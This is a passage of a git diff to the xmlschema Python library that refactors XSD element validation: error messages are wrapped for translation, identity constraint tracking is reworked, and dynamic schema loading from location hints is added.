"and the extension group is not empty.") + self.parse_error(msg % base_type.mixed, elem) if group.model == 'all': - self.parse_error("cannot extend an empty mixed content with an xs:all") + msg = _("cannot extend an empty mixed content with an xs:all") + self.parse_error(msg) else: group = self.schema.create_empty_content_group(self) @@ -945,7 +958,7 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> content.elem.append(base_type.content.elem) if group.model == 'all': - msg = "xs:all cannot extend a not empty xs:%s" + msg = _("xs:all cannot extend a not empty xs:%s") self.parse_error(msg % base_type.content.model) else: content.append(group) @@ -960,20 +973,22 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> if not group: pass elif group.model != 'all': - self.parse_error( - "cannot extend a not empty 'all' model group with a different model" - ) + msg = _("cannot extend a not empty 'all' model group with a different model") + self.parse_error(msg) elif base_type.content.min_occurs != group.min_occurs: - self.parse_error("when extend an xs:all group minOccurs must be the same") + msg = _("when extend an xs:all group minOccurs must be the same") + self.parse_error(msg) elif base_type.mixed and not base_type.content: - self.parse_error("cannot extend an xs:all group with mixed empty content") + msg = _("cannot extend an xs:all group with mixed empty content") + self.parse_error(msg) else: content.extend(group) content.elem.extend(group.elem) - if base_type.mixed != self.mixed and base_type.name != XSD_ANY_TYPE: - self.parse_error("base has a different content type (mixed=%r) and the " - "extension group is not empty." % base_type.mixed, elem) + if base_type.mixed is not self.mixed: + msg = _("base has a different content type (mixed=%r) " + "and the extension group is not empty.") + self.parse_error(msg % base_type.mixed, elem) self.content = content @@ -982,13 +997,16 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> elif base_type.has_simple_content(): self.content = base_type.content else: + # Derived type has an empty content + if self.mixed is not base_type.mixed: + if self.mixed: + msg = _("extended type has a mixed content but the base is element-only") + self.parse_error(msg, elem) + self.mixed = base_type.mixed # not an error if mixed='false' + self.content = self.schema.create_empty_content_group(self) self.content.append(base_type.content) self.content.elem.append(base_type.content.elem) - if base_type.mixed != self.mixed and base_type.name != XSD_ANY_TYPE and self.mixed: - self.parse_error( - "extended type has a mixed content but the base is element-only", elem - ) if self.open_content is None: default_open_content = self.default_open_content @@ -1005,7 +1023,7 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> if self.open_content.mode == 'none': self.open_content = base_type.open_content elif not base_type.open_content.is_restriction(self.open_content): - msg = "{!r} is not an extension of the base type {!r}" + msg = _("{0!r} is not an extension of the base type {1!r}") self.parse_error(msg.format(self.open_content, base_type.open_content)) self._parse_content_tail(elem, derivation='extension', diff --git a/xmlschema/validators/elements.py b/xmlschema/validators/elements.py index 430f1af..fdfb08b 100644 --- a/xmlschema/validators/elements.py +++ b/xmlschema/validators/elements.py @@ -11,34 +11,42 @@ This module contains classes for XML Schema elements, complex types and model groups. """ import warnings +from copy import copy as _copy from decimal import Decimal from types import GeneratorType -from typing import TYPE_CHECKING, cast, Any, Dict, Iterator, List, Optional, Tuple, Type, Union -from elementpath import XPath2Parser, ElementPathError, XPathContext, XPathToken +from typing import TYPE_CHECKING, cast, Any, Dict, Iterator, List, Optional, \ + Set, Tuple, Type, Union +from xml.etree.ElementTree import Element, ParseError + +from elementpath import XPath2Parser, ElementPathError, XPathContext, XPathToken, \ + ElementNode, LazyElementNode, SchemaElementNode, build_schema_node_tree from elementpath.datatypes import AbstractDateTime, Duration, AbstractBinary from ..exceptions import XMLSchemaTypeError, XMLSchemaValueError from ..names import XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE, XSD_ALTERNATIVE, \ XSD_ELEMENT, XSD_ANY_TYPE, XSD_UNIQUE, XSD_KEY, XSD_KEYREF, XSI_NIL, \ XSI_TYPE, XSD_ERROR, XSD_NOTATION_TYPE -from ..etree import ElementData, etree_element from ..aliases import ElementType, SchemaType, BaseXsdType, SchemaElementType, \ ModelParticleType, ComponentClassType, AtomicValueType, DecodeType, \ IterDecodeType, IterEncodeType -from ..helpers import get_qname, get_namespace, etree_iter_location_hints, \ - raw_xml_encode, strictly_equal +from ..translation import gettext as _ +from ..helpers import get_qname, etree_iter_location_hints, \ + etree_iter_namespaces, raw_xml_encode, strictly_equal +from ..namespaces import NamespaceMapper +from ..locations import normalize_url from .. import dataobjects -from ..converters import XMLSchemaConverter -from ..xpath import XMLSchemaProtocol, ElementProtocol, XMLSchemaProxy, \ - ElementPathMixin, XPathElement +from ..converters import ElementData, XMLSchemaConverter +from ..xpath import XMLSchemaProxy, ElementPathMixin, XPathElement +from ..resources import XMLResource -from .exceptions import XMLSchemaValidationError, XMLSchemaTypeTableWarning +from .exceptions import XMLSchemaValidationError, XMLSchemaParseError, \ + XMLSchemaStopValidation, XMLSchemaTypeTableWarning from .helpers import get_xsd_derivation_attribute from .xsdbase import XSD_TYPE_DERIVATIONS, XSD_ELEMENT_DERIVATIONS, \ - XsdComponent, ValidationMixin + XSD_VALIDATION_MODES, XsdComponent, ValidationMixin from .particles import ParticleMixin, OccursCalculator -from .identities import IdentityXPathContext, XsdIdentity, XsdKey, XsdUnique, \ - XsdKeyref, IdentityCounter, IdentityCounterType +from .identities import XsdIdentity, XsdKey, XsdUnique, \ + XsdKeyref, KeyrefCounter, FieldValueSelector from .simple_types import XsdSimpleType from .attributes import XsdAttribute from .wildcards import XsdAnyElement @@ -96,9 +104,10 @@ class XsdElement(XsdComponent, ParticleMixin, fixed: Optional[str] = None substitution_group: Optional[str] = None - identities: Dict[str, XsdIdentity] - alternatives = () # type: Union[Tuple[()], List[XsdAlternative]] - inheritable = () # type: Union[Tuple[()], Dict[str, XsdAttribute]] + identities: List[XsdIdentity] + selected_by: Set[XsdIdentity] + alternatives: Union[Tuple[()], List['XsdAlternative']] = () + inheritable: Union[Tuple[()], Dict[str, XsdAttribute]] = () _ADMITTED_TAGS = {XSD_ELEMENT} _block: Optional[str] = None @@ -108,14 +117,15 @@ class XsdElement(XsdComponent, ParticleMixin, binding: Optional[DataBindingType] = None - def __init__(self, elem: etree_element, + def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent] = None, build: bool = True) -> None: if not build: self._build = False - super(XsdElement, self).__init__(elem, schema, parent) + self.selected_by = set() + super().__init__(elem, schema, parent) def __repr__(self) -> str: return '%s(%s=%r, occurs=%r)' % ( @@ -131,7 +141,7 @@ def __setattr__(self, name: str, value: Any) -> None: self.attributes = self.schema.create_empty_attribute_group(self) else: self.attributes = value.attributes - super(XsdElement, self).__setattr__(name, value) + super().__setattr__(name, value) def __iter__(self) -> Iterator[SchemaElementType]: if self.type.has_complex_content(): @@ -158,7 +168,7 @@ def _parse_attributes(self) -> None: xsd_element: XsdElement = self.maps.lookup_element(self.name) except KeyError: self.type = self.any_type - self.parse_error('unknown element %r' % self.name) + self.parse_error(_('unknown element %r') % self.name) else: self.ref = xsd_element self.type = xsd_element.type @@ -171,11 +181,12 @@ def _parse_attributes(self) -> None: self.substitution_group = xsd_element.substitution_group self.identities = xsd_element.identities self.alternatives = xsd_element.alternatives + self.selected_by = xsd_element.selected_by - for attr_name in {'type', 'nillable', 'default', 'fixed', 'form', - 'block', 'abstract', 'final', 'substitutionGroup'}: + for attr_name in ('type', 'nillable', 'default', 'fixed', 'form', + 'block', 'abstract', 'final', 'substitutionGroup'): if attr_name in attrib: - msg = "attribute {!r} is not allowed when element reference is used" + msg = _("attribute {!r} is not allowed when element reference is used") self.parse_error(msg.format(attr_name)) return @@ -196,8 +207,9 @@ def _parse_attributes(self) -> None: if 'abstract' in attrib: if self.parent is not None: - self.parse_error("local scope elements cannot have abstract attribute") - if attrib['abstract'].strip() in {'true', '1'}: + msg = _("local scope elements cannot have abstract attribute") + self.parse_error(msg) + if attrib['abstract'].strip() in ('true', '1'): self.abstract = True if 'block' in attrib: @@ -208,7 +220,7 @@ def _parse_attributes(self) -> None: except ValueError as err: self.parse_error(err) - if 'nillable' in attrib and attrib['nillable'].strip() in {'true', '1'}: + if 'nillable' in attrib and attrib['nillable'].strip() in ('true', '1'): self.nillable = True if self.parent is None: @@ -220,14 +232,14 @@ def _parse_attributes(self) -> None: except ValueError as err: self.parse_error(err) - for attr_name in {'ref', 'form', 'minOccurs', 'maxOccurs'}: + for attr_name in ('ref', 'form', 'minOccurs', 'maxOccurs'): if attr_name in attrib: - msg = "attribute {!r} is not allowed in a global element declaration" + msg = _("attribute {!r} is not allowed in a global element declaration") self.parse_error(msg.format(attr_name)) else: - for attr_name in {'final', 'substitutionGroup'}: + for attr_name in ('final', 'substitutionGroup'): if attr_name in attrib: - msg = "attribute {!r} not allowed in a local element declaration" + msg = _("attribute {!r} not allowed in a local element declaration") self.parse_error(msg.format(attr_name)) def _parse_type(self) -> None: @@ -245,13 +257,14 @@ def _parse_type(self) -> None: try: self.type = self.maps.lookup_type(extended_name) except KeyError: - self.parse_error('unknown type {!r}'.format(type_name)) + self.parse_error(_('unknown type {!r}').format(type_name)) self.type = self.any_type finally: child = self._parse_child_component(self.elem, strict=False) if child is not None and child.tag in (XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE): - self.parse_error("the attribute 'type' and a {} local declaration " - "are mutually exclusive".format(child.tag.split('}')[-1])) + msg = _("the attribute 'type' and a xs:{} local " + "declaration are mutually exclusive") + self.parse_error(msg.format(child.tag.split('}')[-1])) else: child = self._parse_child_component(self.elem, strict=False) if child is None: @@ -268,28 +281,29 @@ def _parse_constraints(self) -> None: if 'default' in self.elem.attrib: self.default = self.elem.attrib['default'] if 'fixed' in self.elem.attrib: - self.parse_error("'default' and 'fixed' attributes are mutually exclusive") + msg = _("'default' and 'fixed' attributes are mutually exclusive") + self.parse_error(msg) if not self.type.is_valid(self.default): - msg = "'default' value {!r} is not compatible with element's type" + msg = _("'default' value {!r} is not compatible with element's type") self.parse_error(msg.format(self.default)) self.default = None elif self.xsd_version == '1.0' and self.type.is_key(): - self.parse_error("xs:ID or a type derived from xs:ID " - "cannot have a default value") + msg = _("xs:ID or a type derived from xs:ID cannot have a default value") + self.parse_error(msg) elif 'fixed' in self.elem.attrib: self.fixed = self.elem.attrib['fixed'] if not self.type.is_valid(self.fixed): - msg = "'fixed' value {!r} is not compatible with element's type" + msg = _("'fixed' value {!r} is not compatible with element's type") self.parse_error(msg.format(self.fixed)) self.fixed = None elif self.xsd_version == '1.0' and self.type.is_key(): - self.parse_error("xs:ID or a type derived from xs:ID " - "cannot have a fixed value") + msg = _("xs:ID or a type derived from xs:ID cannot have a fixed value") + self.parse_error(msg) # Identity constraints - self.identities = {} + self.identities = [] constraint: Union[XsdKey, XsdUnique, XsdKeyref] for child in self.elem: if child.tag == XSD_UNIQUE: @@ -303,18 +317,21 @@ def _parse_constraints(self) -> None: continue if constraint.ref: - if constraint.name in self.identities: - self.parse_error("duplicated identity constraint %r:" % constraint.name, child) - self.identities[constraint.name] = constraint + if any(constraint.name == x.name for x in self.identities): + msg = _("duplicated identity constraint %r:") + self.parse_error(msg % constraint.name, child) + + self.identities.append(constraint) continue try: if child != self.maps.identities[constraint.name].elem: - self.parse_error("duplicated identity constraint %r:" % constraint.name, child) + msg = _("duplicated identity constraint %r:") + self.parse_error(msg % constraint.name, child) except KeyError: self.maps.identities[constraint.name] = constraint finally: - self.identities[constraint.name] = constraint + self.identities.append(constraint) def _parse_substitution_group(self, substitution_group: str) -> None: try: @@ -331,11 +348,13 @@ def _parse_substitution_group(self, substitution_group: str) -> None: try: head_element = self.maps.lookup_element(substitution_group_qname) except KeyError: - self.parse_error("unknown substitutionGroup %r" % substitution_group) + msg = _("unknown substitutionGroup %r") + self.parse_error(msg % substitution_group) return else: if isinstance(head_element, tuple): - self.parse_error("circularity found for substitutionGroup %r" % substitution_group) + msg = _("circularity found for substitutionGroup %r") + self.parse_error(msg % substitution_group) return elif 'substitution' in head_element.block: return @@ -349,17 +368,21 @@ def _parse_substitution_group(self, substitution_group: str) -> None: # ref: https://www.w3.org/TR/xmlschema-1/#cElement_Declarations self._head_type = head_element.type elif not self.type.is_derived(head_element.type): - self.parse_error("%r type is not of the same or a derivation " - "of the head element %r type." % (self, head_element)) + msg = _("{0!r} type is not of the same or a derivation " + "of the head element {1!r} type") + self.parse_error(msg.format(self, head_element)) elif final == '#all' or 'extension' in final and 'restriction' in final: - self.parse_error("head element %r can't be substituted by an element " - "that has a derivation of its type" % head_element) + msg = _("head element %r can't be substituted by an " + "element that has a derivation of its type") + self.parse_error(msg % head_element) elif 'extension' in final and self.type.is_derived(head_element.type, 'extension'): - self.parse_error("head element %r can't be substituted by an element " - "that has an extension of its type" % head_element) + msg = _("head element %r can't be substituted by an " + "element that has an extension of its type") + self.parse_error(msg % head_element) elif 'restriction' in final and self.type.is_derived(head_element.type, 'restriction'): - self.parse_error("head element %r can't be substituted by an element " - "that has a restriction of its type" % head_element) + msg = _("head element %r can't be substituted by an " + "element that has a restriction of its type") + self.parse_error(msg % head_element) try: self.maps.substitution_groups[substitution_group_qname].add(self) @@ -370,14 +393,24 @@ def _parse_substitution_group(self, substitution_group: str) -> None: @property def xpath_proxy(self) -> XMLSchemaProxy: - return XMLSchemaProxy( - schema=cast(XMLSchemaProtocol, self.schema), - base_element=cast(ElementProtocol, self) + return XMLSchemaProxy(self.schema, self) + + @property + def xpath_node(self) -> SchemaElementNode: + schema_node = self.schema.xpath_node + node = schema_node.get_element_node(self) + if isinstance(node, SchemaElementNode): + return node + + return build_schema_node_tree( + root=self, + elements=schema_node.elements, + global_elements=schema_node.children, ) def build(self) -> None: if self._build: - return + return None self._build = True self._parse() @@ -385,7 +418,7 @@ def build(self) -> None: def built(self) -> bool: return hasattr(self, 'type') and \ (self.type.parent is None or self.type.built) and \ - all(c.built for c in self.identities.values()) + all(c.built for c in self.identities) @property def validation_attempted(self) -> str: @@ -393,7 +426,7 @@ def validation_attempted(self) -> str: return 'full' elif self.type.validation_attempted == 'partial': return 'partial' - elif any(c.validation_attempted == 'partial' for c in self.identities.values()): + elif any(c.validation_attempted == 'partial' for c in self.identities): return 'partial' else: return 'none' @@ -433,7 +466,7 @@ def get_binding(self, *bases: Type[Any], replace_existing: bool = False, **attrs :param replace_existing: provide `True` to replace an existing binding class. :param attrs: attribute and method definitions for the binding class body. """ - if self.binding is None or not replace_existing: + if self.binding is None or replace_existing: if not bases: bases = (dataobjects.DataElement,) attrs['xsd_element'] = self @@ -442,15 +475,6 @@ def get_binding(self, *bases: Type[Any], replace_existing: bool = False, **attrs dataobjects.DataBindingMeta(class_name, bases, attrs)) return self.binding - def get_attribute(self, name: str) -> Optional[XsdAttribute]: - if name[0] != '{': - name = get_qname(self.type.target_namespace, name) - if not isinstance(self.type, XsdSimpleType): - xsd_attribute = self.type.attributes[name] - assert isinstance(xsd_attribute, XsdAttribute) - return xsd_attribute - return None - def get_type(self, elem: Union[ElementType, ElementData], inherited: Optional[Dict[str, Any]] = None) -> BaseXsdType: return self._head_type or self.type @@ -492,12 +516,12 @@ def iter_components(self, xsd_classes: Optional[ComponentClassType] = None) \ if xsd_classes is None: yield self - yield from self.identities.values() + yield from self.identities else: if isinstance(self, xsd_classes): yield self if issubclass(XsdIdentity, xsd_classes): - yield from self.identities.values() + yield from self.identities if self.ref is None and self.type.parent is not None: yield from self.type.iter_components(xsd_classes) @@ -517,70 +541,44 @@ def data_value(self, elem: ElementType) -> Optional[AtomicValueType]: if text is None: text = self.fixed if self.fixed is not None else self.default if text is None: + if self.type.is_valid(''): + self.type.text_decode('') return None return self.type.text_decode(text) - def check_dynamic_context(self, elem: ElementType, **kwargs: Any) -> None: + def check_dynamic_context(self, elem: ElementType, + validation: str, + options: Dict[str, Any]) -> Iterator[XMLSchemaValidationError]: try: - locations = kwargs['locations'] + source: XMLResource = options['source'] except KeyError: return - schema: Optional[SchemaType] for ns, url in etree_iter_location_hints(elem): - if ns not in locations: - locations[ns] = url - elif locations[ns] is None: - reason = "schemaLocation declaration after namespace start" - raise XMLSchemaValidationError(self, elem, reason) - - if ns == self.target_namespace: - schema = self.schema.include_schema(url, self.schema.base_url) - else: - schema = self.schema.import_schema(ns, url, self.schema.base_url) - - if schema is None: - reason = f"missing dynamic loaded schema from {url}" - raise XMLSchemaValidationError(self, elem, reason) - elif not schema.built: - reason = "dynamic loaded schema change the assessment" - raise XMLSchemaValidationError(self, elem, reason) - - if elem.attrib: - for name in elem.attrib: - if name[0] == '{': - ns = get_namespace(name) - if ns not in locations: - locations[ns] = None - - if elem.tag[0] == '{': - ns = get_namespace(elem.tag) - if ns not in locations: - locations[ns] = None - - def start_identities(self, identities: Dict[XsdIdentity, IdentityCounter]) -> None: - """ - Start tracking of XSD element's identities. + base_url = source.base_url + url = normalize_url(url, base_url) + if any(url == schema.url for schema in self.maps.iter_schemas()): + continue - :param identities: a dictionary containing the identities counters. - """ - for constraint in self.identities.values(): - try: - identities[constraint].clear() - except KeyError: - identities[constraint] = constraint.get_counter() + if ns in etree_iter_namespaces(source.root, elem): + reason = _("schemaLocation declaration after namespace start") + yield self.validation_error(validation, reason, elem, **options) - def stop_identities(self, identities: Dict[XsdIdentity, IdentityCounter]) -> None: - """ - Stop tracking of XSD element's identities. - - :param identities: a dictionary containing the identities counters. - """ - for identity in self.identities.values(): try: - identities[identity].enabled = False - except KeyError: - identities[identity] = identity.get_counter(enabled=False) + if ns in self.maps.namespaces: + schema = self.maps.namespaces[ns][0] + schema.include_schema(url) + self.schema.clear() + self.schema.build() + else: + self.schema.import_schema(ns, url, base_url, build=True) + + except (XMLSchemaValidationError, ParseError) as err: + yield self.validation_error(validation, err, elem, **options) + except XMLSchemaParseError as err: + yield self.validation_error(validation, err.message, elem, **options) + except OSError: + continue def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) \ -> IterDecodeType[Any]: @@ -593,15 +591,36 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) :return: yields a decoded object, eventually preceded by a sequence of \ validation or decoding errors. """ + error: Union[XMLSchemaValueError, XMLSchemaValidationError] + result: Any + if self.abstract: - reason = "cannot use an abstract element for validation" - yield self.validation_error(validation, reason, obj, **kwargs) + if self.name == obj.tag: + reason = _("can't use an abstract element in an instance") + yield self.validation_error(validation, reason, obj, **kwargs) + elif self.name not in self.maps.substitution_groups: + reason = _("can't use an abstract XSD element for validation " + "unless it's the head of a substitution group") + yield self.validation_error(validation, reason, obj, **kwargs) + else: + for xsd_element in self.iter_substitutes(): + if obj.tag == xsd_element.name: + yield from xsd_element.iter_decode(obj, validation, **kwargs) + return + else: + reason = _("can't use an abstract XSD element for validation") + yield self.validation_error(validation, reason, obj, **kwargs) - try: - namespaces = kwargs['namespaces'] - except KeyError: - namespaces = None + # Control validation on element and its descendants or stop validation + if 'validation_hook' in kwargs: + value = kwargs['validation_hook'](obj, self) + if value: + if isinstance(value, str) and value in XSD_VALIDATION_MODES: + validation = value + else: + return + kwargs['elem'] = obj try: level = kwargs['level'] except KeyError: @@ -612,20 +631,26 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) except KeyError: identities = kwargs['identities'] = {} - self.start_identities(identities) + for identity in self.identities: + if identity in identities: + identities[identity].reset(obj) + else: + identities[identity] = identity.get_counter(obj) try: converter = kwargs['converter'] except KeyError: - converter = kwargs['converter'] = self.schema.get_converter(**kwargs) + converter = self._get_converter(obj, kwargs) else: - if converter is not None and not isinstance(converter, XMLSchemaConverter): - converter = kwargs['converter'] = self.schema.get_converter(**kwargs) + if not isinstance(converter, NamespaceMapper): + converter = self._get_converter(obj, kwargs) - try: - pass # self.check_dynamic_context(elem, **kwargs) TODO: dynamic schema load - except XMLSchemaValidationError as err: - yield self.validation_error(validation, err, obj, **kwargs) + if not level: + # Need to set base context with the right object (the resource can be lazy) + converter.set_context(obj, level) + elif kwargs.get('use_location_hints'): + # Use location hints for dynamic schema load + yield from self.check_dynamic_context(obj, validation, options=kwargs) inherited = kwargs.get('inherited') value = content = attributes = None @@ -633,8 +658,10 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) # Get the instance effective type xsd_type = self.get_type(obj, inherited) - if XSI_TYPE in obj.attrib: + if XSI_TYPE in obj.attrib and self.schema.meta_schema is not None: + # Meta-schema elements ignore xsi:type (issue #350) type_name = obj.attrib[XSI_TYPE].strip() + namespaces = converter.namespaces try: xsd_type = self.maps.get_instance_type(type_name, xsd_type, namespaces) except (KeyError, TypeError) as err: @@ -642,26 +669,20 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) else: if self.identities: xpath_element = XPathElement(self.name, xsd_type) - for identity in self.identities.values(): - if isinstance(identity.elements, tuple): - continue # Skip unbuilt identities - - context = IdentityXPathContext( - self.schema, item=xpath_element # type: ignore[arg-type] + for identity in self.identities: + if not identity.built or identity.selector is None: + continue # Skip unbuilt or incomplete identities + identity.elements.update( + identity.get_selected_elements(xpath_element) ) - for e in identity.selector.token.select_results(context): - if not isinstance(e, XsdElement): - reason = "selector xpath expression can only select elements" - yield self.validation_error(validation, reason, e, **kwargs) - elif e not in identity.elements: - identity.elements[e] = None if xsd_type.is_blocked(self): - reason = "usage of %r is blocked" % xsd_type + reason = _("usage of %r is blocked") % xsd_type yield self.validation_error(validation, reason, obj, **kwargs) if xsd_type.abstract: - yield self.validation_error(validation, "%r is abstract", obj, **kwargs) + reason = _("%r is abstract") % xsd_type + yield self.validation_error(validation, reason, obj, **kwargs) if xsd_type.is_complex() and self.xsd_version == '1.1': kwargs['id_list'] = [] # Track XSD 1.1 multiple xs:ID attributes/children @@ -669,7 +690,6 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) # Decode attributes attribute_group = self.get_attributes(xsd_type) - result: Any for result in attribute_group.iter_decode(obj.attrib, validation, **kwargs): if isinstance(result, XMLSchemaValidationError): yield self.validation_error(validation, result, obj, **kwargs) @@ -688,24 +708,24 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) if XSI_NIL in obj.attrib: xsi_nil = obj.attrib[XSI_NIL].strip() if not self.nillable: - reason = "element is not nillable." + reason = _("element is not nillable") yield self.validation_error(validation, reason, obj, **kwargs) - elif xsi_nil not in {'0', '1', 'false', 'true'}: - reason = "xsi:nil attribute must have a boolean value." + elif xsi_nil not in ('0', '1', 'false', 'true'): + reason = _("xsi:nil attribute must have a boolean value") yield self.validation_error(validation, reason, obj, **kwargs) elif xsi_nil in ('0', 'false'): pass elif self.fixed is not None: - reason = "xsi:nil='true' but the element has a fixed value." + reason = _("xsi:nil='true' but the element has a fixed value") yield self.validation_error(validation, reason, obj, **kwargs) elif obj.text is not None or len(obj): - reason = "xsi:nil='true' but the element is not empty." + reason = _("xsi:nil='true' but the element is not empty") yield self.validation_error(validation, reason, obj, **kwargs) else: nilled = True if xsd_type.is_empty() and obj.text and xsd_type.normalize(obj.text): - reason = "character data is not allowed because content is empty" + reason = _("character data is not allowed because content is empty") yield self.validation_error(validation, reason, obj, **kwargs) if nilled: @@ -727,26 +747,26 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) if self.fixed is not None and \ (len(obj) > 0 or value is not None and self.fixed != value): - reason = "must have the fixed value %r" % self.fixed + reason = _("must have the fixed value %r") % self.fixed yield self.validation_error(validation, reason, obj, **kwargs) else: if len(obj): - reason = "a simple content element can't have child elements." + reason = _("a simple content element can't have child elements") yield self.validation_error(validation, reason, obj, **kwargs) text = obj.text if self.fixed is not None: - if text is None: + if not text: text = self.fixed elif text == self.fixed: pass elif not strictly_equal(xsd_type.text_decode(text), xsd_type.text_decode(self.fixed)): - reason = "must have the fixed value %r" % self.fixed + reason = _("must have the fixed value %r") % self.fixed yield self.validation_error(validation, reason, obj, **kwargs) - elif not text and self.default is not None and kwargs.get('use_defaults'): + elif not text and self.default is not None and kwargs.get('use_defaults', True): text = self.default if not isinstance(xsd_type, XsdSimpleType): @@ -761,27 +781,20 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) elif xsd_type.is_notation(): if xsd_type.name == XSD_NOTATION_TYPE: - msg = "cannot validate against xs:NOTATION directly, " \ - "only against a subtype with an enumeration facet" + msg = _("cannot validate against xs:NOTATION directly, " + "only against a subtype with an enumeration facet") yield self.validation_error(validation, msg, text, **kwargs) elif not xsd_type.enumeration: - msg = "missing enumeration facet in xs:NOTATION subtype" + msg = _("missing enumeration facet in xs:NOTATION subtype") yield self.validation_error(validation, msg, text, **kwargs) - if text is None: - for result in content_decoder.iter_decode('', validation, **kwargs): - if isinstance(result, XMLSchemaValidationError): - yield self.validation_error(validation, result, obj, **kwargs) - if 'filler' in kwargs: - value = kwargs['filler'](self) - else: - for result in content_decoder.iter_decode(text, validation, **kwargs): - if isinstance(result, XMLSchemaValidationError): - yield self.validation_error(validation, result, obj, **kwargs) - elif result is None and 'filler' in kwargs: - value = kwargs['filler'](self) - else: - value = result + for result in content_decoder.iter_decode(text or '', validation, **kwargs): + if isinstance(result, XMLSchemaValidationError): + yield self.validation_error(validation, result, obj, **kwargs) + elif result is None and 'filler' in kwargs: + value = kwargs['filler'](self) + elif text or kwargs.get('keep_empty'): + value = result if 'value_hook' in kwargs: value = kwargs['value_hook'](value, xsd_type) @@ -802,50 +815,25 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) if not kwargs.get('binary_types'): value = str(value) - if converter is not None: - element_data = ElementData(obj.tag, value, content, attributes) - yield converter.element_decode(element_data, self, xsd_type, level) + xmlns = converter.set_context(obj, level) # Purge existing sub-contexts + + if isinstance(converter, XMLSchemaConverter): + element_data = ElementData(obj.tag, value, content, attributes, xmlns) + if 'element_hook' in kwargs: + element_data = kwargs['element_hook'](element_data, self, xsd_type) + + try: + yield converter.element_decode(element_data, self, xsd_type, level) + except (ValueError, TypeError) as err: + yield self.validation_error(validation, err, obj, **kwargs) elif not level: - yield ElementData(obj.tag, value, None, attributes) + yield ElementData(obj.tag, value, None, attributes, None) if content is not None: del content - # Collects fields values for identities that refer to this element. - for identity, counter in identities.items(): - if not counter.enabled or not identity.elements: - continue - elif self in identity.elements: - xsd_element = self - elif self.ref in identity.elements: - xsd_element = self.ref - else: - continue - - try: - xsd_fields: Optional[IdentityCounterType] - if xsd_type is self.type: - xsd_fields = identity.elements[xsd_element] - if xsd_fields is None: - xsd_fields = identity.get_fields(xsd_element) - identity.elements[xsd_element] = xsd_fields - else: - xsd_element = cast(XsdElement, self.copy()) - xsd_element.type = xsd_type - xsd_fields = identity.get_fields(xsd_element) - - if all(x is None for x in xsd_fields): - continue - decoders = cast(Tuple[XsdAttribute, ...], xsd_fields) - fields = identity.get_fields(obj, namespaces, decoders=decoders) - except (XMLSchemaValueError, XMLSchemaTypeError) as err: - yield self.validation_error(validation, err, obj, **kwargs) - else: - if any(x is not None for x in fields) or nilled: - try: - counter.increase(fields) - except ValueError as err: - yield self.validation_error(validation, err, obj, **kwargs) + if self.selected_by: + yield from self.collect_key_fields(obj, xsd_type, validation, nilled, **kwargs) # Apply non XSD optional validations if 'extra_validator' in kwargs: @@ -860,14 +848,76 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) # Disable collect for out of scope identities and check key references if 'max_depth' not in kwargs: - for identity in self.identities.values(): + for identity in self.identities: counter = identities[identity] counter.enabled = False if isinstance(identity, XsdKeyref): + assert isinstance(counter, KeyrefCounter) for error in counter.iter_errors(identities): yield self.validation_error(validation, error, obj, **kwargs) elif level: - self.stop_identities(identities) + for identity in self.identities: + identities[identity].enabled = False + + def collect_key_fields(self, obj: ElementType, xsd_type: BaseXsdType, + validation: str = 'lax', nilled: bool = False, + **kwargs: Any) -> Iterator[XMLSchemaValidationError]: + element_node: Union[ElementNode, LazyElementNode] + + try: + identities = kwargs['identities'] + resource = cast(XMLResource, kwargs['source']) + except KeyError: + # skip identities collect if identity map or XML source are missing + return + + try: + namespaces = kwargs['namespaces'] + except KeyError: + namespaces = None + + element_node = resource.get_xpath_node(obj, namespaces) + + xsd_element = self if self.ref is None else self.ref + if xsd_element.type is not xsd_type: + xsd_element = _copy(xsd_element) + xsd_element.type = xsd_type + + # Collect field values for identities that refer to this XSD element. + for identity in self.selected_by: + try: + counter = identities[identity] + except KeyError: + continue + else: + if not counter.enabled or not identity.elements: + continue + + if counter.elements is None: + # Apply selector on Element ancestor for obtain the selected elements + root_node = resource.get_xpath_node(counter.elem) + context = XPathContext(root_node) + assert identity.selector is not None + counter.elements = set(identity.selector.token.select_results(context)) + + if obj not in counter.elements: + continue + + if xsd_element in identity.elements: + selectors = identity.elements[xsd_element] + else: + selectors = [FieldValueSelector(f, xsd_element) for f in identity.fields] + + try: + fields = tuple(s.get_value(element_node, namespaces) for s in selectors) + except (XMLSchemaValueError, XMLSchemaTypeError) as err: + yield self.validation_error(validation, err, obj, **kwargs) + else: + if any(x is not None for x in fields) or nilled: + try: + counter.increase(fields) + except ValueError as err: + yield self.validation_error(validation, err, obj, **kwargs) def to_objects(self, obj: ElementType, with_bindings: bool = False, **kwargs: Any) \ -> DecodeType['dataobjects.DataElement']: @@ -898,36 +948,63 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ validation or encoding errors. """ errors: List[Union[str, Exception]] = [] + result: Any try: converter = kwargs['converter'] except KeyError: - converter = kwargs['converter'] = self.schema.get_converter(**kwargs) + converter = self._get_converter(obj, kwargs) else: if not isinstance(converter, XMLSchemaConverter): - converter = kwargs['converter'] = self.schema.get_converter(**kwargs) + converter = self._get_converter(obj, kwargs) try: level = kwargs['level'] except KeyError: - level = 0 - element_data = converter.element_encode(obj, self, level) - if not self.is_matching(element_data.tag, self.default_namespace): - errors.append("data tag does not match XSD element name") + level = kwargs['level'] = 0 - if 'max_depth' in kwargs and kwargs['max_depth'] == 0: - for e in errors: - yield self.validation_error(validation, e, **kwargs) - return - else: + try: element_data = 